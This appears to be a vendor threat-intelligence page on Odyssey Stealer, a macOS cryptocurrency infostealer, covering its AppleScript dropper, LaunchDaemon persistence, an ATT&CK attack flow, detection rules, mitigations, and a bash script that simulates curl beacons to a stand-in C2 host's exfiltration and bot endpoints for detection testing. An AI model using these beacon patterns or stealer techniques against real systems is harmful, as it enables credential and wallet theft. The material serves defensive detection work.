Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Odyssey Stealer is a macOS infostealer focused on cryptocurrency wallets and extensions. It’s marketed as a Malware-as-a-Service platform where affiliates rent access to a centralized C2 and admin panel. Delivery typically relies on obfuscated AppleScript that installs a persistent LaunchDaemon which polls the C2 for commands. The operator can also replace legitimate Ledger and Trezor apps with trojanized builds to capture credentials and transaction data.
Investigation
Researchers fingerprinted the C2 using unique HTML meta tags, page body hashes, and a shared favicon hash. They mapped ten physical hosts across multiple ASN clusters, largely in Europe and the Netherlands. Payload dissection revealed a multi-stage AppleScript dropper, LaunchDaemon persistence, and a Go-compiled SOCKS5 proxy binary. Configuration data embedded in the dropper exposed affiliate identifiers and build IDs.
Mitigation
Watch for suspicious osascript activity, especially long obfuscated strings, unknown LaunchDaemon plist files with random labels, and outbound POST requests to “/log” endpoints. Alert on LaunchDaemon-spawned binaries and suspicious SOCKS5 activity. Verify code signing for Ledger and Trezor applications, and block known C2 domains and IP addresses. Train users to treat unexpected password prompts and “wallet updates” as high-risk.
Response
On detection, isolate the system, terminate the malicious LaunchDaemon, and remove trojanized wallet applications. Capture network traffic to the identified C2 domains and IPs for investigation, then reset exposed cryptocurrency credentials and rotate macOS passwords. Perform a full forensic review to identify additional artifacts.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing["<b>Action</b> – <b>T1566 Phishing</b>: Malicious link delivered via email or malvertising<br/><b>Description</b>: Attacker gains initial access by tricking the user into clicking a link."] class action_initial_access_phishing action action_user_execution_malicious_link["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: Victim clicks the link and launches an AppleScript dropper<br/><b>Description</b>: Code execution occurs after user interaction."] class action_user_execution_malicious_link action action_execution_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Obfuscated AppleScript payload executed via osascript<br/><b>Description</b>: Hides malicious code to evade detection."] class action_execution_obfuscation action action_cred_gui_capture["<b>Action</b> – <b>T1056.002 Input Capture: GUI</b>: Fake macOS password dialog captures admin credentials<br/><b>Description</b>: Steals credentials through UI spoofing."] class action_cred_gui_capture action action_cred_browser_stores["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Extracts cookies, passwords and crypto wallet data from Chrome, Edge and Firefox<br/><b>Description</b>: Harvests stored web credentials."] class action_cred_browser_stores action action_cred_keychain["<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b>: Reads stored passwords from macOS Keychain<br/><b>Description</b>: Accesses password manager data."] class action_cred_keychain action action_cred_securityd["<b>Action</b> – <b>T1555.002 Credentials from Securityd Memory</b>: Harvests memory of the securityd process for credentials<br/><b>Description</b>: Retrieves credential material from process memory."] class action_cred_securityd action action_priv_esc_valid_accounts["<b>Action</b> – <b>T1078 Valid Accounts</b>: Uses captured admin password to obtain elevated rights<br/><b>Description</b>: Gains higher privileges with legitimate credentials."] class action_priv_esc_valid_accounts action action_persistence_launchdaemon["<b>Action</b> – <b>T1543.004 Launch Daemon</b>: Installs com.random.plist LaunchDaemon for periodic C2 polling<br/><b>Description</b>: Persists by creating a launch daemon."] class action_persistence_launchdaemon action action_discovery_browser["<b>Action</b> – <b>T1217 Browser Information Discovery</b>: Enumerates installed browsers and wallet extensions<br/><b>Description</b>: Gathers information about the victim's browsing environment."] class action_discovery_browser action action_collection_archive["<b>Action</b> – <b>T1560 Archive Collected Data</b>: Compresses stolen files into a ZIP archive<br/><b>Description</b>: Packages data for exfiltration."] class action_collection_archive action action_exfil_automated["<b>Action</b> – <b>T1020 Automated Exfiltration</b>: POSTs the ZIP archive to the /log endpoint<br/><b>Description</b>: Sends collected data over HTTP."] class action_exfil_automated action action_c2_webservice["<b>Action</b> – <b>T1102 Web Service</b>: Communicates with C2 using HTTP GET and POST endpoints<br/><b>Description</b>: Utilizes web services for command and control."] class action_c2_webservice action action_c2_dead_drop["<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b>: Retrieves payloads from /d/… URLs<br/><b>Description</b>: Uses a deadu2011drop location to obtain commands."] class action_c2_dead_drop action action_c2_external_proxy["<b>Action</b> – <b>T1090.002 External Proxy</b>: Downloads and runs a Go compiled SOCKS5 proxy for traffic tunneling<br/><b>Description</b>: Routes C2 traffic through an external proxy."] class action_c2_external_proxy action %% Connections action_initial_access_phishing –>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link –>|triggers| action_execution_obfuscation action_execution_obfuscation –>|enables| action_cred_gui_capture action_cred_gui_capture –>|provides| action_cred_browser_stores action_cred_browser_stores –>|adds| action_cred_keychain action_cred_keychain –>|adds| action_cred_securityd action_cred_securityd –>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts –>|allows| action_persistence_launchdaemon action_persistence_launchdaemon –>|enables| action_discovery_browser action_discovery_browser –>|feeds| action_collection_archive action_collection_archive –>|prepares| action_exfil_automated action_exfil_automated –>|uses| action_c2_webservice action_c2_webservice –>|utilizes| action_c2_dead_drop action_c2_dead_drop –>|supports| action_c2_external_proxy "
Attack Flow
Detections
MacOS Shell Archiving Application Support Data (via cmdline)
View
MacOS Osascript Spawning Curl (via cmdline)
View
MacOS Shell Writing to LaunchDaemons Directory (via file_event)
View
IOCs (SourceIP) to detect: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
View
IOCs (DestinationIP) to detect: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
View
IOCs (HashSha256) to detect: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
View
IOCs (HashMd5) to detect: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
View
Odyssey Stealer C2 Endpoint Detection [Webserver]
View
Odyssey Stealer: Detection of Obfuscated AppleScript and Curl Usage [Linux Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
-
Attack Narrative & Commands:
An adversary has deployed the Odyssey Stealer on a macOS workstation. After compromising the user, the malware initiates a beacon to its C2 server to download additional payloads and exfiltrate harvested data. The beacon uses the nativecurlbinary (signed Apple binary) to issue HTTP GET requests to the C2 endpoints defined in the rule. The attacker chooses these specific URI paths because they are short, blend with typical web traffic, and avoid detection by generic URL‑filtering solutions.Steps:
- Resolve the C2 hostname (simulated as
c2.odyssey.example.com). - Issue a GET request to
/d/aff123456– mimics the data‑exfiltration endpoint with a random affiliate code and numeric token. - Issue a GET request to
/api/v1/bot/– simulates bot‑management heartbeat. - Optionally, send a request to
/logto emulate internal logging traffic used by the malware for status reporting.
- Resolve the C2 hostname (simulated as
-
Regression Test Script: The following bash script reproduces the exact traffic needed to trigger the detection rule.
#!/usr/bin/env bash # Odyssey Stealer C2 beacon simulation for detection validation # Requirements: curl, network proxy configured as per pre‑flight steps C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # adjust to your Squid proxy address # Function to send a request via the proxy send_request() { local path=$1 echo "[*] Sending request to https://${C2_HOST}${path} via proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Data exfiltration endpoint (random affiliate + digits) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Bot management heartbeat send_request "/api/v1/bot/" # 3. Optional logging endpoint send_request "/log" echo "[+] Simulation complete. Verify alerts in the SIEM."Save the script as
odyssey_beacon.sh, make it executable (chmod +x odyssey_beacon.sh), and run it on the macOS test host. -
Cleanup Commands: Remove any temporary files and optionally disable the proxy for the test user.
# Disable proxy settings for the Wi‑Fi interface networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Optional) Stop Squid if it was started solely for this test # brew services stop squid echo "Proxy settings restored and Squid stopped (if applicable)."